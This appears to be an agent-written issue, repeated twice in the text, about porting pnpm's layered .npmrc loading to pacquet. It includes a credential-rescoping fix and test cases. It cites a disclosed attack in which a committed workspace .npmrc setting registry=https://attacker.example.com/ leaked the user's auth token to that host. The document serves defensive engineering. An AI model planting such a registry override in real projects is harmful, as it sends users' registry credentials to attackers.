Background
The TypeScript pnpm CLI merges npm rc settings across several files in a fixed priority order:
builtin < defaults < ~/.npmrc < ~/.config/pnpm/auth.ini < <workspace>/.npmrc < CLI args
See config/reader/src/loadNpmrcFiles.ts for the merge loop.
Pacquet's current .npmrc loader reads exactly one file — workspace .npmrc if it exists, otherwise ~/.npmrc — at pacquet/crates/config/src/lib.rs:
let auth_source = read_npmrc(start_dir)
.map(|text| (text, start_dir.to_path_buf()))
.or_else(|| Sys::home_dir().and_then(|dir| read_npmrc(&dir).map(|text| (text, dir))));
Whichever file is read wins outright; the other is ignored. There is no equivalent of auth.ini and no merge between workspace and user .npmrc.
This diverges from pnpm in several user-visible ways:
- A project
.npmrc that sets e.g. strict-ssl=false (or just a scoped registry) silently drops the user's ~/.npmrc credentials, TLS settings, proxy config, etc.
~/.config/pnpm/auth.ini is not honored at all.
- CLI args,
pnpm-workspace.yaml-driven settings, and npm_config_* env vars don't slot into the same priority order as in pnpm.
Task
Port the layered loader from config/reader/src/loadNpmrcFiles.ts to pacquet.
Security: rescope unscoped per-registry keys at load time, before the merge
A reporter (JUNYI LIU) found that pnpm bound an unscoped _authToken from ~/.npmrc to whatever registry= value won the merge. A workspace-local .npmrc that committed nothing more than registry=https://attacker.example.com/ was enough to cause pnpm install to send
Authorization: Bearer <user-secret-from-home-npmrc>
to the attacker registry. Fixed for the TS CLI in a23956e3ab (PR #11953).
Pacquet is not currently vulnerable because it does not merge — workspace .npmrc simply replaces user-level config, so the rebind cannot happen. But the moment layered loading lands without the same rescope, pacquet inherits the same bug. Treat the rescope as part of the same change set, not a follow-up.
What the TS fix actually does
The approach is per-source rescope at load time, not a post-merge source-tracking defense. Each .npmrc / auth.ini / cliOptions is normalized as it's read, before any merging happens. After normalization the merged config contains only URL-scoped credentials, so the merge layer doesn't need to know anything about provenance.
For each loaded source, before contributing to the merge:
- If any unscoped per-registry key is present (
_authToken, _auth, username, _password, tokenHelper, cert, key), compute the nerf-darted form of the source's own registry= value — or the npmjs default (//registry.npmjs.org/) if the source declares none.
- Rewrite each unscoped key to
<nerfed-registry>:<key>=<same-value>. If the source already has an explicit URL-scoped key for the same registry, keep the explicit one and drop the unscoped duplicate.
- Emit a deprecation warning naming the source file and the URL the credentials were pinned to.
- If the source's
registry= value isn't a parseable URL (typical cause: an unresolved ${VAR} placeholder left it empty), drop the unscoped keys entirely and warn — a bare credential has nowhere safe to bind.
Keys deliberately NOT rescoped:
ca / cafile — trust anchors, not credentials. Corporate MITM-proxy setups rely on them applying globally to every HTTPS request, and the default-registry override can't weaponize an unscoped CA (the attacker would need a cert signed by it).
certfile / keyfile — certfile isn't read unscoped by pnpm today (not in NPM_AUTH_SETTINGS), and the unscoped keyfile allowlist entry was removed in the same PR since nothing consumed it. Users wanting the path form can write //host/:certfile=... / //host/:keyfile=... URL-scoped directly.
strict-ssl — not URL-scopable in npm's format. Downgrade-attack vector but needs a different fix.
Follow-on cleanup in the same PR (worth porting to pacquet too once layered loading lands):
- The empty-string
configByUri[''] placeholder slot is gone. Nothing reads or writes it after the rescope, so createGetAuthHeaderByURI and getAuthHeadersFromCreds lost their defaultRegistry parameter (the only thing it did was re-key that empty slot onto the merged default registry). Pacquet's equivalent in network/auth-header should follow the same shape.
Test cases worth porting
From config/reader/test/index.ts:
- User
.npmrc has registry=trusted + unscoped _authToken=T; workspace .npmrc overrides registry=attacker → T ends up at //trusted/:_authToken, never //attacker/:_authToken.
- Same with
_auth, with username + _password.
auth.ini has unscoped _authToken=T and no registry=; user .npmrc has registry=trusted → T pins to npmjs default at auth.ini load (split-file users either consolidate or write URL-scoped).
- User has only unscoped
_authToken=T (no registry=); CLI --registry=Y → T pins to npmjs default; CLI choice doesn't pull the ambient token along.
- Workspace declares both
registry and its own _authToken → token pins to workspace registry (committer's deliberate choice).
- URL-scoped
//host/:_authToken=... passes through unchanged with no deprecation warning.
- Same matrix for client TLS
cert / key (inline PEM).
Notes
- The rescope lives in the per-source reader, not in any post-merge step. Each source is self-contained — read it, normalize it, contribute to the merge.
- This issue does not block landing layered-config support on its own, but the rescope must land in the same PR — please don't ship "merge now, secure later."
Written by an agent (Claude Code, claude-opus-4-7).
Background
The TypeScript pnpm CLI merges npm rc settings across several files in a fixed priority order:
See
config/reader/src/loadNpmrcFiles.tsfor the merge loop.Pacquet's current
.npmrcloader reads exactly one file — workspace.npmrcif it exists, otherwise~/.npmrc— atpacquet/crates/config/src/lib.rs:Whichever file is read wins outright; the other is ignored. There is no equivalent of
auth.iniand no merge between workspace and user.npmrc.This diverges from pnpm in several user-visible ways:
.npmrcthat sets e.g.strict-ssl=false(or just a scoped registry) silently drops the user's~/.npmrccredentials, TLS settings, proxy config, etc.~/.config/pnpm/auth.iniis not honored at all.pnpm-workspace.yaml-driven settings, andnpm_config_*env vars don't slot into the same priority order as in pnpm.Task
Port the layered loader from
config/reader/src/loadNpmrcFiles.tsto pacquet.Security: rescope unscoped per-registry keys at load time, before the merge
A reporter (JUNYI LIU) found that pnpm bound an unscoped
_authTokenfrom~/.npmrcto whateverregistry=value won the merge. A workspace-local.npmrcthat committed nothing more thanregistry=https://attacker.example.com/was enough to causepnpm installto sendto the attacker registry. Fixed for the TS CLI in a23956e3ab (PR #11953).
Pacquet is not currently vulnerable because it does not merge — workspace
.npmrcsimply replaces user-level config, so the rebind cannot happen. But the moment layered loading lands without the same rescope, pacquet inherits the same bug. Treat the rescope as part of the same change set, not a follow-up.What the TS fix actually does
The approach is per-source rescope at load time, not a post-merge source-tracking defense. Each
.npmrc/auth.ini/cliOptionsis normalized as it's read, before any merging happens. After normalization the merged config contains only URL-scoped credentials, so the merge layer doesn't need to know anything about provenance.For each loaded source, before contributing to the merge:
_authToken,_auth,username,_password,tokenHelper,cert,key), compute the nerf-darted form of the source's ownregistry=value — or the npmjs default (//registry.npmjs.org/) if the source declares none.<nerfed-registry>:<key>=<same-value>. If the source already has an explicit URL-scoped key for the same registry, keep the explicit one and drop the unscoped duplicate.registry=value isn't a parseable URL (typical cause: an unresolved${VAR}placeholder left it empty), drop the unscoped keys entirely and warn — a bare credential has nowhere safe to bind.Keys deliberately NOT rescoped:
ca/cafile— trust anchors, not credentials. Corporate MITM-proxy setups rely on them applying globally to every HTTPS request, and the default-registry override can't weaponize an unscoped CA (the attacker would need a cert signed by it).certfile/keyfile—certfileisn't read unscoped by pnpm today (not inNPM_AUTH_SETTINGS), and the unscopedkeyfileallowlist entry was removed in the same PR since nothing consumed it. Users wanting the path form can write//host/:certfile=...///host/:keyfile=...URL-scoped directly.strict-ssl— not URL-scopable in npm's format. Downgrade-attack vector but needs a different fix.Follow-on cleanup in the same PR (worth porting to pacquet too once layered loading lands):
configByUri['']placeholder slot is gone. Nothing reads or writes it after the rescope, socreateGetAuthHeaderByURIandgetAuthHeadersFromCredslost theirdefaultRegistryparameter (the only thing it did was re-key that empty slot onto the merged default registry). Pacquet's equivalent innetwork/auth-headershould follow the same shape.Test cases worth porting
From
config/reader/test/index.ts:.npmrchasregistry=trusted+ unscoped_authToken=T; workspace.npmrcoverridesregistry=attacker→ T ends up at//trusted/:_authToken, never//attacker/:_authToken._auth, withusername+_password.auth.inihas unscoped_authToken=Tand noregistry=; user.npmrchasregistry=trusted→ T pins to npmjs default atauth.iniload (split-file users either consolidate or write URL-scoped)._authToken=T(noregistry=); CLI--registry=Y→ T pins to npmjs default; CLI choice doesn't pull the ambient token along.registryand its own_authToken→ token pins to workspace registry (committer's deliberate choice).//host/:_authToken=...passes through unchanged with no deprecation warning.cert/key(inline PEM).Notes
Written by an agent (Claude Code, claude-opus-4-7).